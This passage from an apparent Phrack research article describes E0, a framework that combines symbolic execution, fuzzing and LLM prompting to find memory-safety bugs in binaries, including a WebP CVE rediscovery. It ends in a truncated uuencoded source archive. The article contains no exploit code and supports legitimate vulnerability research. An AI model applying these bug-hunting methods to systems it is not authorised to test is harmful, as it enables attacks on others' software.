not to consider a vulnerability). In contrast, the second prompt is minimal and purely positive, containing no exclusions or negations. It leaves the model free to reason within the provided symbolic context alone. .-------------------------------------------------------------------------. | Sample Prompt #2 | Minimal Positive Prompt (with no constraints) | |-------------------------------------------------------------------------| | User Prompt: | |-------------------------------------------------------------------------| | Conduct a comprehensive security analysis of the following function, | | when the output of the following controllable expression is fully | | controlled by the attacker. The attacker only controls the result of | | the provided controllable expression and nothing else. | | Structure your response. | | At the end of your response say Vulnerable or Not Vulnerable: | | VULNERABLE/NOT VULNERABLE | | | | Controllable Expression: | | - "*(uint64_t*)((char*)arg6 + *(uint64_t*)(*(uint64_t*)arg6 - 0x138)) + | | 0x28" : result range is 0x0 to 0xffffffff | | | | Function: | | int64_t sub_18be031d0(int32_t arg1, int32_t arg2, void** arg3, | | uint32_t arg4, char* arg5, int64_t* arg6) | | { | | <function code ...> | | } | '-------------------------------------------------------------------------' These examples demonstrate how E0 grounds LLM reasoning in symbolic inputs, ensuring that prompts reflect only untrusted-input influence and feasible execution paths, driving both interpretability and a low false-positive rate. ---[ 12.3 - Code Context Representation Modern LLMs reason best when provided with higher-level code representations. While E0's symbolic expressions originate from low-level assembly, these expressions are often difficult for LLMs to interpret in isolation due to register reuse, control-flow indirection, and a lack of named variables. To improve interpretability and guide model focus, E0 translates each low-level symbolic definition into its corresponding higher-level representation, including the full function code and IR where the symbolic expression is captured or defined. These include: - Assembly - LLIL, MLIL, HLIL - MLIL SSA and HLIL SSA forms - Decompiled C-like pseudocode .--------------------------------------------------. | For example, consider a symbolic memory load | |--------------------------------------------------| | Assembly : ldrb w8, [x1] | | MLIL SSA : x8#1 = zx.d([arg2#0].b) | | HLIL : zx.d(*arg2) | | HLIL SSA : zx.d(*arg2#0) | | Pseudocode : (uint32_t)*(uint8_t*)arg2 | '--------------------------------------------------' | This single symbolic expression is represented across multiple | abstraction levels. SSA forms disambiguate variable lifetimes and | data-flow, while decompiled pseudocode offers a readable, semantically | rich view suited for LLM interpretation. Each representation offers a | distinct view to help ground symbolic definitions in their surrounding | code context. Among these formats, decompiled pseudocode consistently yields the best results during vulnerability analysis, as most LLMs are heavily trained on C-like syntax. SSA-form IR representations, particularly MLIL SSA, also prove valuable due to their static single assignment property, which helps the model track symbolic variables without aliasing or ambiguity. To gather this context, E0 includes a Python bridge that queries symbolic definitions stored in its runtime database and augments them with representation data fetched from Binary Ninja. This includes function signatures, code bodies, and intermediate representations. Although Binary Ninja was chosen for its Intermediate Representation (IR) ecosystem and Python API integration, the retrieval pipeline is modular. It can be adapted to other disassemblers and decompilers depending on user preference or available tooling. By coupling symbolic expressions with high-level function context, E0 ensures that LLMs operate on precise, structured inputs. This reduces confusion, improves reasoning accuracy, and more importantly, bridges the gap between dynamic symbolic execution and static code understanding. Each symbolic definition serves as an anchor point, enabling the model to expand its reasoning across entire functions and into adjacent functions in the call graph, while staying rooted in the concrete data-flow captured during (SSI) selective symbolic instrumentation. ---[ 12.4 - Context Expansion via MCP, A2A and On-Demand Decompilation While E0 prompts are initially scoped to precise symbolic expressions within individual functions, complex vulnerability analysis sometimes requires a broader view. In such cases, the LLM may issue tool-calling requests to retrieve additional context using the Model Context Protocol (MCP). One example is the get_function_code tool call, where the LLM explicitly requests the complete code of one or more functions it deems relevant to the current analysis. The MCP server first checks the internal cache and the symbolic definition database; if the data is missing, it triggers a fallback to Binary Ninja backend to perform on-demand disassembly, IR recovery, and decompilation of the requested function(s). This design keeps prompts minimal and focused, while still granting the LLM access to full static context when needed. However, repeated MCP requests can consume significant context window space and increase inference latency, especially when retrieving large functions or traversing cross-function logic. To address this, E0 is evolving toward a more efficient Agent-to-Agent (A2A) architecture. In this model, the root LLM agent offloads specific questions (such as "What does this callee return?" or "Does this check ever fail?") to secondary agents with smaller, focused contexts. These sub-agents operate independently to retrieve only the necessary facts, summaries, or security inferences, which are then aggregated and returned to the root agent for final vulnerability classification. Below is a typical A2A JSON request issued by the root agent to assess a callee function's behavior. .-------------------------------------------------------------------------. | Sample A2A Query | |-------------------------------------------------------------------------| | { | | "sub_18c27aeb0": [ | | "What is the purpose of 'sub_18c27aeb0' and does it return a | | value that is bounded or validated before being used in memory | | operations?", | | "Does this function handle error conditions and return a safe | | default or zero when the input is invalid?" | | ] | | } | '-------------------------------------------------------------------------' This strategy allows E0 to expand context dynamically without overwhelming the LLM or wasting token budget on irrelevant code. It also improves modularity and parallelism, enabling scalable analysis through a set of lightweight, focused AI agents, each focused on a narrow, verifiable reasoning task. ---[ 12.5 - Modular Reasoning vs Chain-of-Thought Prompts Although Chain-of-Thought (CoT) prompting is often promoted for complex reasoning tasks, we found that it introduces significant false positives and negatives in the context of vulnerability analysis. When multiple reasoning steps are embedded into a single prompt, LLMs often produce contradictions, overlook symbolic constraints, or fixate on irrelevant code paths, resulting in less reliable analysis. E0 avoids this by decomposing the reasoning process into modular, independently controlled steps. Each step is executed within a separate inference context, scoped to a narrow analysis goal. These include evaluating a specific symbolic expression, analyzing a function-level security pattern, or interpreting a solved constraint range. The results are then aggregated externally, allowing the system to review, retry, or refine intermediate steps as needed. This modular approach improves accuracy, interpretability, and debugging. It also allows the orchestration layer to selectively retry or expand any single reasoning step without discarding the entire analysis. Rather than embedding multi-stage logic into a single inference window, E0 treats each step as a query-and-response unit, giving the orchestration layer full control over the analysis flow. While future reasoning models may support more reliable structured CoT prompting and larger context windows, external modular reasoning remains more robust and transparent in our current pipeline. ---[ 12.6 - Reverse Prompt Engineering Reverse Prompt Engineering is a technique where the desired output is provided to the model, which is then tasked with generating the most accurate prompt to reproduce that output. In our workflow, this method was adapted to address cases of false positives and negatives. We applied the technique per model and per quantization level to improve prompt clarity and effectiveness. A key mechanism is instructing the model to critique its own prior output by asking questions like: | Which word or phrase in the original request | led you to that incorrect assumption? | Which word or phrase in the original request would | you modify or remove to prevent this mistake? In one real case, the symbolic expression *(uint64_t*)x10_1 was used in the function sub_221204180. When the prompt instructed the model to analyze its "value range", the model reported: - Out-of-Bounds Memory Access - Use-after-Free - Arbitrary Memory Access However, the value loaded from the dereferenced pointer was not used in any memory access. Instead, it was treated as a plain operand in arithmetic operations. The pointer itself was not attacker-controlled. Only the value it pointed to was symbolized. When the prompt was revised to ask about the "output range" rather than the "value range," the model correctly responded: | No direct vulnerabilities observed; expression | is only used in a bitwise operation and shift. This minor vocabulary change eliminated the false positive and produced a more accurate analysis. Reverse Prompt Engineering revealed that the term "value" had implicitly led the model to focus on pointer dereferencing safety rather than the meaning of the loaded result. This insight directly informed the vocabulary and framing of prompts used across E0's ensemble prompting system. ---[ 12.7 - Ensemble Consensus Prompting Ensemble Consensus Prompting is a technique in which multiple independently phrased prompts are issued to analyze the same symbolic slice or untrusted input. Instead of embedding many rules or constraints into a single complex prompt, E0 distributes them across a sequence of prompt variants. Each prompt introduces a focused subset of constraints or directives, which improves model focus and reduces confusion. A candidate vulnerability is elevated only when all prompt variants reach the same conclusion, confirming the presence of a vulnerability. In addition to strict consensus, E0 also tracks results of positive versus negative findings across prompts to assist with manual debugging and deeper analysis. The following example illustrates how this process works: - 1st Prompt @ PHI-4 : 25/110 Vulnerable | 85/110 Not Vulnerable | 23% - 2nd Prompt @ PHI-4 : 13/25 Vulnerable | 12/25 Not Vulnerable | 52% - 3rd Prompt @ PHI-4 : 8/13 Vulnerable | 5/13 Not Vulnerable | 61% - 4th Prompt @ QWEN3 : 3/8 Vulnerable | 5/8 Not Vulnerable | 37% - 5th Prompt @ QWEN3 : 2/3 Vulnerable | 1/3 Not Vulnerable | 67% - 6th Prompt @ QWEN3 : 2/2 Vulnerable | 0/2 Not Vulnerable | 100% | The 110 functions analyzed here are those intersected by symbolic | data-flow at function boundaries (ARG, MEM, or RET SymDefs), based on | thousands of dynamically instrumented samples that led to the discovery | of CVE-2024-44297 (detailed in Section 11), rediscovered here using | LLMs. While E0 encounters many more functions across modules and | binaries, only those traversed by actual symbolic input propagation | were selected for LLM evaluation. The two discovered vulnerabilities (2/2) shown in the last step are real. One rediscovers CVE-2024-44297, as confirmed by the LLM responses shown in the following summaries, while the second is valid but appears to be an older vulnerability already mitigated in upstream patches. It involved validating a sample-size variable that fell outside the scope of the selective symbolic instrumentation trace. This missing upstream context inspired the Model Context Protocol and A2A context expansion strategies discussed in Section 12.4. .-------------------------------------------------------------------------. | PHI-4 [14B/Q8] Vulnerability Rediscovery | |-------------------------------------------------------------------------| | Denial of Service: By forcing the function into infinite loops or | | causing crashes through invalid memory accesses, an attacker could | | disrupt service. | |-------------------------------------------------------------------------| | Qwen3 [32B/Q8] Vulnerability Rediscovery | |-------------------------------------------------------------------------| | This vulnerability could be used as part of a denial-of-service attack, | | causing the WebP parser to enter an infinite loop when processing a | | maliciously crafted file. | '-------------------------------------------------------------------------' Ensemble consensus prompting incrementally applies constraints and filters results based on full agreement across multiple prompts. These prompts are intentionally selected to span a range of false positive tendencies, from medium to high, so that while each may be noisy on its own, their intersection amplifies signal over noise. Prompts are sequenced from higher to lower expected false positive rates, while eliminating the use of prompts prone to false negatives or over-constraint. This avoids missing critical issues while refining away inaccurate findings. Each individual consensus prompt shown above results in a medium to high detection rate ranging from 23% to 100%, while their combined detection rate is less than 2 percent (2 out of 110). The consensus model significantly reduces false positives by filtering out speculative or marginal findings that might arise under weaker LLM instruction settings. It ensures that only the most robust, symbolically grounded vulnerabilities, resilient to model variation, phrasing shifts, and reasoning depth, are surfaced and tightly aligned with the captured def-use chains. ---[ 12.8 - Feedback Loop With Fuzzing and Symbolic Execution This component of E0 is experimental and still under active development. When all prompt variants in an ensemble consensus reach the same conclusion identifying a vulnerability, E0 issues a follow-up prompt requesting concrete values for the controllable symbolic expressions (SymDefs) needed to trigger the vulnerability. These values, together with their corresponding SymDefs and the sample in which the expressions were recorded, are fed back into E0's fuzzing and instrumentation layers. The symbolic execution engine then instruments the program to reach the same symbolic execution point, accumulates the path constraints that lead to that expression, and solves for the input that would produce the requested value. A new sample is then generated that satisfies these constraints and is executed in a controlled environment. If the predicted vulnerability is triggered (e.g., by causing a crash, hang, or invalid memory access) it is logged as a real vulnerability. If the condition is not triggered, the result is returned back to the AI layer for further refinement. This feedback loop closes the gap between static LLM vulnerability analysis insight and dynamic vulnerability validation. It allows E0 to convert symbolically grounded LLM predictions into executable test cases and determine which LLM-identified risks manifest as real-world vulnerabilities. E0's LLM analysis pipeline is a symbolically grounded, prompt-guided, context-expanding, and modular layer that precisely interprets untrusted inputs. It is driven entirely by programmatically generated prompts (SymDefs, SMT-solved ranges, and decompiler IR representations) rather than by open-ended reasoning. Each analysis step is explicitly scoped and isolated using structured phrasing, reverse-prompt engineering, and ensemble-consensus prompting. By fusing symbolic execution, SMT solving, decompiler IRs, targeted prompts, and external orchestration, E0 delivers an LLM integration stack that offers higher accuracy and actionable insights: bridging symbolic analysis with higher-level semantic reasoning. --[ 13 - Alpha Source Code Release This paper is accompanied by a partial source release of E0, a curated alpha snapshot of its core instrumentation and symbolic analysis modules. While not a complete codebase, the included components directly support the techniques and workflows discussed throughout this paper. Included in this release: - LiteTracer | A selective symbolic tracer that integrates Triton with an extended | TinyInst debugger. It dynamically instruments only instructions that | access guarded untrusted input, using a combination of OS-level | page protection and AArch64 hardware watchpoints to trap memory | accesses and invoke symbolic emulation on demand. - MemoryGuard | A runtime protection module that configures page permissions | and manages AArch64 hardware watchpoints to monitor access to | untrusted input with efficient, fine-grained precision. - PageMap | A refinement-aware allocator for guarded memory tracking. | Implements the Strict Recent Access Bias strategy through a | recursive bitmask refinement algorithm and dynamic watchpoint | reallocation. Translates runtime traps and access patterns into | efficient hardware configurations using only 4 available CPU | watchpoints per core. - E0_Sample_Runner_Functions | Constraint-driven sample generation logic. Captures SMT constraints | during tracing and solves for new inputs that drive unexplored paths. - Patched TinyInst Debugger (macOS/debugger.cpp) | A modified version of TinyInst's macOS debugger module that adds | support for ARM64 hardware breakpoints and watchpoints. Also extends | exception handling to catch and recover from guarded memory access. This alpha release targets ARM64e macOS systems only, and is provided as part of this Phrack issue. A full open-source release of the complete E0 framework, including the fuzzer layer, Python bindings, event pipeline, multi-platform support, and LLM integration, is planned at a later date. All code is released under the terms of the Apache License, Version 2.0. --[ 14 - Acknowledgments E0 builds upon the efforts of several outstanding open-source projects whose design and implementation significantly shaped this work. Special thanks to: - Ivan Fratric and the TinyInst / Jackalope team E0 reuses core components from Jackalope's sample delivery, mutation logic, multithreading, and target monitoring. It also extends TinyInst's macOS debugger to support hardware breakpoints, watchpoints, and fine-grained memory access instrumentation. - Jonathan Salwan and the Triton team Triton serves as the symbolic execution engine at the core of E0's tracing logic. Its efficient architecture and symbolic precision make it the ideal foundation for runtime analysis and constraint solving. We are also grateful to Richard Johnson for his invaluable guidance, detailed feedback, and critical insights during the preparation of this paper. His thoughtful reviews helped sharpen the structure and clarity of our arguments. After exploring several architectural paths and full rewrites, we ultimately chose to avoid redundancy and instead build on top of solid, actively maintained projects. This included following Jackalope's structural patterns, extending Triton's instruction semantics to support ARM64e, and extending TinyInst debugger modules. We encourage others to adopt this integration model when combining fuzzing, tracing, and symbolic execution in real-world workflows. --[ 15 - Conclusion We introduced a novel methodology that integrates selective symbolic instrumentation, data-flow-guided fuzzing, and structured LLM-driven analysis, realized in the implementation of E0. By precisely tracking external inputs and instrumenting only essential symbolic operations, E0 prioritizes native execution and engages symbolic emulation only when necessary, achieving high performance without sacrificing symbolic depth. Structured symbolic definitions (ARG, MEM, RET) serve as precise anchors for LLM-guided analysis, enhanced by reverse prompt engineering, ensemble consensus prompting, and on-demand context expansion. This modular design decomposes vulnerability analysis into verifiable stages, improving detection accuracy and interpretability while reducing false positives and test-time compute. Each component of E0 contributes to an integrated vulnerability discovery process. This fusion arms LLMs with concrete, high-fidelity context, reduces wasted inference cycles, and closes the loop with end-to-end fuzzing. It unites discovery breadth, symbolic precision, and semantic reasoning into one scalable, low-latency engine. Future work will refine AI-driven feedback loops, optimize symbolic instrumentation triggers, and expand E0's evaluation across diverse closed-source targets. Ultimately, E0 provides not just a technical improvement but a practical, scalable framework for advancing binary vulnerability research. --[ 16 - References [1] Jonathan Salwan (2015). Triton: Dynamic Binary Analysis Framework. https://triton-library.github.io [2] Ivan Fratric (2020). Jackalope Fuzzer. https://github.com/jackalope-fuzzer/jackalope [3] Jonathan Salwan (2022) - ttexplore. https://github.com/JonathanSalwan/ttexplore [4] Ivan Fratric (2020). TinyInst: A Lightweight Dynamic Instrumentation Framework. https://github.com/TinyInst/TinyInst [5] De Moura, L. & Bjorner, N. (2008). Z3: An Efficient SMT Solver. [6] Z3 Theorem Prover - https://github.com/Z3Prover/z3 [7] Stephens, N., Grosen, J., Salls, C., Dutcher, A., Wang, R., Corbetta, J., Shoshitaishvili, Y., Kruegel, C., & Vigna, G. (2016). Driller: Augmenting fuzzing through selective symbolic execution. In 23rd Annual Network and Distributed System Security Symposium (NDSS). [8] Binary Ninja - https://binary.ninja [9] Andriesse, D. (2017). Practical Binary Analysis - No Starch Press. [10] Brian S. Pak (2012). Hybrid fuzz testing: Discovering software bugs via fuzzing and symbolic execution (Master's thesis). School of Computer Science, Carnegie Mellon University. [11] Microsoft. (2024). Phi-4: A Large-Scale Language Model. [12] Alibaba Cloud. (2025). Qwen3: Large Language Models. https://arxiv.org/abs/2505.09388 [13] ARM Ltd. (2013). ARM Architecture Reference Manual: ARMv8-A edition. https://developer.arm.com/documentation/ddi0487/latest [14] Samuel GroB (2020). Fuzzing ImageIO - Project Zero. https://googleprojectzero.blogspot.com/2020/04/fuzzing-imageio.html [15] Alfredo Ortega, (2024). AI-Powered Bug Hunting: From Neural Networks to Practical Exploits. https://github.com/Neuroengine-vulns/ autokaker/blob/main/doc/AI-powered-bughunting-aortega-paper.pdf [16] Josh Watson (2018). Vulnerability Modeling with Binary Ninja - Trail of Bits Blog. https://blog.trailofbits.com/2018/04/04/ vulnerability-modeling-with-binary-ninja/ [17] Reno Robert (2025) - Mindshare: Using Binary Ninja API to Detect Potential Use-After-Free Vulnerabilities - Zero Day Initiative Blog. https://www.zerodayinitiative.com/blog/2025/3/20/ [18] Sean Heelan (2025) - How I Used O3 to Find CVE-2025-37899: A Remote Zero-Day Vulnerability in the Linux Kernel's SMB Implementation. https://sean.heelan.io/2025/05/22/ [19] Michal Zalewski (2014) - American Fuzzy Lop (AFL). https://lcamtuf.coredump.cx/afl/ --[ 17 - Source Code begin 644 e0-alpha-src.tar.gz M'XL(`#Q;>&@``^R]6XADV988UB,00@G7V!:20,9X=UZZ.J(J,C,B\E'5F5TU MDZ^JRMM9F74SLKIN=TTI[LF($YGGUHESHL\YD8^^MT;&8&/Y0Q^V,1(8VP,> MXR^!OPQB,,88C!&V]27\(XT9+"/T(<3@#X,?>#WV\SPB(U]U>^Y4T%T9<<[> M:Z^]]MIKK;WVVFO[S3DO')UX<VG26_CD;C[-9O/A\K*@ORO\M]E>XK_R(UK+ MS79["?Y=7A'-5OMAJ_V)6+XC?)S/.,V\!%`9MB:7@V*#P83WLA_Z[Y^2CV^/ M_W:SV_&&H]#O'HRCR$^Z3\=1+POB*)WOC4;7;@/HL;*T5#7^B^W%Y3:._^+R M\M+#A\M-T6P#%RQ](IJWV,_*SY_Q\5^X/[,9CRZ2X/@D$^UF>UG\Q#\7Z\,D M%K7.=V,O\<6N=Y2*W=W-^LS,;M#SH]3OBW'4]Q.1G?AB?>3UX(]\TQ!?^TD* M'"/:\TU1PP*S\M5L?6WF(AZ+H7<AHC@3X]0'`$$J!D'H"_^\YX\R$42B%P,' M!E[4\\59D)U0(Q+$_,PW$D!\E'E0UH/2(_@UL$L)+YN9.<FR4;JZL'!V=C;O M$8KS<7*\$'*1=&%W9W-[K[,]!VC.S+R*0C]-1>)_-PX2Z-W1A?!&@$3/.P+4 M0N],Q(GPCA,?WF4Q(GF6!%D0'3=$&@^R,Z#23#](LR0X&F<.=11*T$V[`-#' MB\3L>D?L=&;%QGIGI].8>;US^'S_U:%XO7YPL+YWN+/=$?L'8G-_;VOG<&=_ M#WX]%>M[WXBO=O:V&L('VD`C_ODH0=P!P0#IYO?G9SJ^[S0^B!F9=.3W@D'0 M@QY%QV/OV!?'\:F?1-`1,?*389#BR*6`6G\F#(9!YM'<+W9G?N;^PLS,#/#. M=E.PQ!`L,19>C+F6T*)C9N[RS\S,H>:$OC^$6EGB97Y*C?9B8,(P/@;$8:"W MFY]#P?'WWP-*P[@_#OU5<1*?S:2$!B"?(#/Y/:(S,5#JASZ@<@H$N!@>Q3"L M,(+0P'CH1XQL@[H,4$3DG\'+T3AC0,<^],G+F"72.#PE4GD`M,<X!E&6SDOL M>W&?!CJ(>N&X#W6\E!AT./(BI$CB#_S$1[X&'L*.O3Q)O-Z[&2_)@E[HSXL= MX/\P'*N^ISX,CA>*=_X%-H?S`WDT)'P`A#^`L0R@#S-#(%ERD>\5=HJ0G>LG MT/N(.R:&<H0`[;W]PVT:'K<#GH4J,I5O0,91>,&(IC2)H?]^U"=\9K"G.(!> M.A>D5*COC^!MBNR.!9,(>H.EX@@`*@"26$$T0](`.NA[P&)BG26!GX&,00VE MWF#3(^#@""F<`;)(D$3TX5_HTE=`K$U%K"W#2OW5&2'FB$MQ#!6W3,D@\U3Y M&8C#/M:6]#X-/'$2P!@EO1.0%:$X\[+>R2A&IA"UES#!7GBC.M<]Q*&VZGJ] M'DQ;GR:;:?;4"\?PK+8;9#[6\!-9O5/!>R!%\?$AB",@<NW8SU[`((8-H;ZE M$L#Z:1P0[B#?8#Y[44:P%(`3+SW!OX@-C,:8A)_I^6Y\?$QD4XCV_4$0!2P> M:M`EF$$)2,/$S^HD;CP8ZHLTX+GA@\@&F0G$1"9-Q<]A%%AJU.H_;X@S(-X) M#D]K'AKR^JG$(H0129`;83)DHH=#+R<.:&SHGQ@E,1(146S/BXZ/Y!@59@$- M\<\-17^.Y1?G:42`UBPK2`@<X_BF<H1()@"I0^2-M&32"[$T3^."@Q@2=P.K MJG)]21P"DO@TH8UPP=K+4-O#RHH7LQ-@YUX"(]&`\4#E`H0$*8HRFNK2@,W; MLG+D!0DS,;,WHT[]0(M-X&<.'L-P'/O8B6-_+@2Q$A)>1Q>9^LE=)QA8:.B- M='T)(T,&AO[T^Z1O/)PP07;!Y%V48(Z"#*H2F!`(GA'!#20``QWK8V<EQP*E M,O\\TZ)*,\XD&*"K@,>&*0RYFK@=Q9@[.<D^(ZH_.1R82EBU48+/S('O]8D? M4<'`J(P3*$V"&-EB'&;$FB,/L*/J0`@19*3W>V/2K#.2?5F789F!4I(B!>T3 M"=#H4KG"%#GP"2IS[>JJF32')\!0_4V)]OVLUU!*^#[S4@/%K;@/D[H+?-/% MCOAI0QS%<0CC&`SEU\0?Q4G6S>)NZB?`9`TQAGJ+[2Z*Y0!>!$,_'F?68_U$ MM1>#X1@`B;K<<%W\$@@>#$3-;9N?BSQ*XK%HKL&+]S/PSY9_-#X^]I,.C-P8 M"$)_\*TA14)_UK"T-T9B(FFZ:,!G`.H$;-@N%(E#FL_=7ACWWJVN1O%9K4YU M$*]/L][<$T9VBR7,Q=P3^4V25W9%X?QT_7!]MS:[G20P':54,BJ$9%YR@0]H M)H#"!RT521&%-B]V3PCXSQFVU5664X`W3FTCGFK4Z.AB(PGZQP">?BJYN^4/ MTI)'7=#I_CGS>A"=QBRZT\(#+D<X5>$S]V0'AK[&LZX+G0#F,C].F9`5-15* MW3[BU`\2Z%SA&0%`H<O(S._"(-4(I2S.@)'P5?K@P9I;"BQT7:X:@3ZR$#1* M?]>JRTDVAI+RVZ1>@4S%J;_IA>$1B$"T:]=!"$+E>R_<5Q-:!""O0=KX%5"< M=Y.088X/P.0Z1^S-KPEMC[R+$-1J-PV^]Z&2_7/B:/(4?RP9?4(#W2YIM2Z8 M8)XN/_<$U4LZ9;40S%-3DU&[M"(7[Z(FC+RA;P%0C_2T3_%!#^33(/%C,$IK MLPM]_W0A&H?A;$/,GL$_:=8'3B`.8]D#\"H0`(E40SG"DUS-$N?!:4/QEN)9 MA5LT'G:3<40\+K&K:`9FKA<&?>"/=;(6UUGWUEDN]4Z\A*P`&O\W[>;;-18, MT0CD4S:HZ7?0-R!H;#VI0Y\_:RZ'81\[KJC.Y.0"A!M2@F1=,/0<,M/3VJRL M,5L7#PPF\'VVBQ5FX1L0=745%0S7L&E`E@ZHAC6[(:`7&3:/Q5:0_`0LZ9HD M0A=F4)>-9I0B#0<E":."C&AE[>1(69,-S?<0M5J]KM50"F*\=P(<0SS`2H!L MSZWMC5?/GFT?=#</UCO/M[=6J<W=_6>UV9=LB++QYO=_-YJ5&-&#@J!S>4'2 M@46>$"6/;"A&$+)P1]Z&_JDJXMX]449E\40TM4832&:<0$7$JMGJEAE+CSAW M[DK,Q56NQ%X3&(RA$4^YN)BJ$BPR4BGC%$AJJRO)5T):+]`R,1"_.@*.);WA MLMCS];UGI1R&ZP+%8"X#X)MTJA%&ZE!IQ5\N/^9><0.YU\1.NJU)3'/K;*-' M$A&Y&M]0C4O8ALFXEF^LR#94D-G&P<2N.PW?O+\Z_R!W3&2?EP?[F]N=3G?[ M9SN'%A,]!5)@9_;`X'Q)!OBJ$57X$E[P\W*-I(;&YKT*F0M+E8R81/:N:/BW M)!"'O=&I@!)41+"^`W/HPN"G>[__U<2^'ZX?/-L^[&[OR>DS`<F=])#TM7)5 M;J%3P^_7+$%)V'$IO5A#BW^<1*58EN!I80I#*?P0L%7@Y=KB5>2?CV`E"R"E MZ9'X/1\6&K!"3.(A+1K[<GEDVGKOD@$,;`]:7IVY,6`-\KTR4&#%:BG@^B1M MNQL?:RW['-:_4E7AC,=UY29Z,]#U+)=^1.!74?#=6"_BOP?L>!G/:^-5\=GW M8\"N4=6D!CJ/K<BYA5ZH&JT2WYV*U4NK2J/*X/?@,52<3WWTY3BT,$6>Z!G> M4U`<[=XS?=65+K/YC`NQ>X+>@R>.;,Z/0?F[:L,U![VXDHY'ERZD98W^.&'_ MVF/]M0LS,?MR&(1AP'1+G]0,X#EKM5[70[\51SZUCH+I,_9)U4"/!9'X#-2! M&*8T\MA!6D\T=&OSO7@<97*T"58`!"=F$;\"RF2K".]7`DQM_5V:Y/1K5BZD M]=#(WQ,D6F-B@5?8T.0BA]:2H(<KT"^_%*^?[QQNS[[91[1F\<'!]A;^J8`! MM?8'!V@&\!S;1"H8.-#)G4@">G:PO;TW`52>US20MUP_OYK"9W[4#W7!R:OQ MKX`1F&'Z/KGQ2\M5KO/0,P++LU&6R&98[&HG$$S(&71J:P>9J\&,1^6^N(<0 M\TXR%/+H=2`GX.JJ'QV#\$]75W&;!\&QP.SZEB>*[`9@[NQ+50L]8RM+3\A7 MB*[15,^/40_G(38,@B`[GP<-@IAM&A>R-9E@WN0+KZ>9)(CV>BS<%QOC(.SK MC8!1XO?13^_/BPY.*^V%.DS&\.S^@D9&%816/&S$_V[LA37Z>G0*Q`:IV1#. M3]4H>A(#):U)J)(7G.#>@UZ";(6N*HW)]`!!/^IU$N7A&/6P0YUXG/1\N895 MI@VYY'19HW<7%L2K$6[IL%,U\4^#>)PZ.Q^\.0RX@K[RHM[)O*Q:Z&OH1?V: M?MJ0Z!QZ[_SHI7IJ&63H#@ZBL>_87KI?:=+K\K9C]PCM#C5JLE^'\0MZN0'O M:J9?#,NEB?P^EX,HBRI^FA^-84F";J$"./H'1L09$*;%JNSD!OUR>,ZB\7TP M9OOBS!=>B//OPMKN]'!OU0]_&WE(+Z"JF!_WX&L:8TU(33/&:2O-9-\)$F#W M9?M)C=\9\QX9PBEO+S,TQ'Z:33T*+C1CG>>Q<G[/Y5K0UKIKOVE#RP6&FZ/H M62H8^4@I:T3SJ"FK$.JBK'B.*]B$]N;\I$#5D2R!"IM*U!"Z2TE3QOC&I(\* M7]5U-TI>@@6`81-]MM6YF/S3!Z7-8K9T@8DMFR+S8%3W-29U\>ECJ_X\Z!/@ M24//`FAW*52<H(:XP,]@-OJ)VH@!\8"$49N&!C(+1K>U^8"J&CS7JOJ:\\!@ M=V%JS@?I"U!+`5"1)YWOS#7!.RY!2F*'GU@3H6E-A`*SHX#P<C.G-:D"\FZ^ M0LE40RFKC)`36"+#'X4??)W]W8R-`-4Z/IM[0L]T`_C=[RF[P*!"8ET"LXD@ MU9$1XU4R6N.]J/&V>HJ8D\7WYK/^PF?]MV(;-\X]TG]^_]A?1=OQ7,P]H;]D M0`8H]U.Y0&CH7C5T7QSPUE?"9`PKO;X/Z'6'WLC(/X36J+8@:',XH6WX)RQ/ M*]K`?7&;2()+YTT"@E0SQ&N(>VR;-,1*L^ETX#VLBLF-R;J!.I&`H0CV9]?' MG:Q[PJ_GV@2=NTF5/!,IQ&%9N'=IER1P8%DQ4VQZ8PP>\X1L0%`#T@;UY\]. M/#!AB)6PFLLHY9CJ5B=B&5V@:1;UO:1_)3PC4_K*2,[/ST]$**:@K.QBY&.L MTM6P&D?O(MP$UK5FJ_$IYZ,)3C_\D"M/;FT\GL"VZX?Y/C(;XA+(.`;Y@PNS MM/C87IB6O%Y8.(N3=VA,L#8<)"#3:\3T.38F=3LEXH<[+[;W7U4A+]=>91W( MRE_9G:@H@A+4U486VJ5HT"JQ#(EQV0L;A9("[ZL&OZ"D"`.4RD3D>7\XRBY< M!44E\NTK*?M6FQNKKDS-JTN[K[OQ,;MTVC4E;^LEX`4%>HU)>NL0&5IJ-,^5 M'.=OU.HEHMN9$$*O^=#WJ'<TT2'K;/:;CC1$D0LUGEP8*""=$AJF62,7_+LE M.-$XJ!U)YXT`BWPP>.Z?;XV'HYJ%=,.$=EB;ON[P"O'=V!_[E=-?X=^E8C3Q M:J:%7%$;5-$$LSE/?2LP/=AC>9,(+>.!)Z<T&F6!\?/ANS!XA\LY<=XT-MK4 M-@,_C.*L5F8].#Y]>'WJ][(X^?*6U+O4[ZEI)*_3V4/%08\%LF`L$.!+4X`! MV2YE_/#34HL@=4P"W\N;!:BA5II"NN24#\R,WY5-A6D-A=LS$ZYF)$QO(MR2 M@5!M'ES1.+BQ:6"FI?XRT2BXKDE0<`2QP;HJ^?2N[0>YZL:Y-,2Y!)-<SR/" MN3];):UN;E%,LB<J385+;(D2BZ':7J@P!B;:"N_+^2$OVM_/F'^OX8-CW]5U M'7#(L^1O.SO!O=8:4T!;BG)S1Q()M,O+H/=N/%*^*J4Q2%NH]=/]/)`C'X98 MJV<`<N`/XU/N(E?2&V.JC@*<@^0GZ%VJ!,]5)EA<EJUEK*PJ2PADP/8Z&AV! M'BKY9UH#IYFW;&Y@TUA^GJ(=<TT+IMIVF<IJJ;97WA-7O9_Y=9^T^F%^G/-_ M*O3[Y';;F'S^;Z7]L+FHSO\U6TO+`O]I/OQX_N]#?#Z>__MX_N^:Y_\6[M^? M$:"%^9R3F!//[;-0?!2$CXU`;<2AM?+5!ATO2:$>5CV49TJ`&@F4A\I@K_L9 MCB=M]J/*#?HPH*:J/*\DS]7U,@23G<#(."=0]+&LBU79%'X.8F"[N2>BXQ\/ MZ0`:?/\IJ.X^?=O`%A5BR)>A=X'><5"!1WAB!6.#YH[1\$$N4,>YV%1)QR,\ M2D'^9WTJ#^"8'78\LM:CPR6R!WB2#J@RQOV=I(\L)-(PSNBPW/HZH+ZRA&?H M$(K"X/+C+GQN)8%AAF%7)\WTB9K[<B2U!0<=T8V;,TOSD@B[1-"6J"5`M_JJ M6!>+[3F@K\#?BM!#+X$1I"-<8KG5WH#QD\1%QQBTH8AO?W`QQ(S!`1_S0'!8 M?M/1FL6V`8%':?3(NVBUP7Z7Q0"UI\!=N%M%W(,HPA1%?D5,&\`L*TN$N*P! M2*?ORO`BHZ8/)6"6^*I7C^801?$=,PJ*)`D<NUL%1;6$/?)XS&HK2PH(]DN6 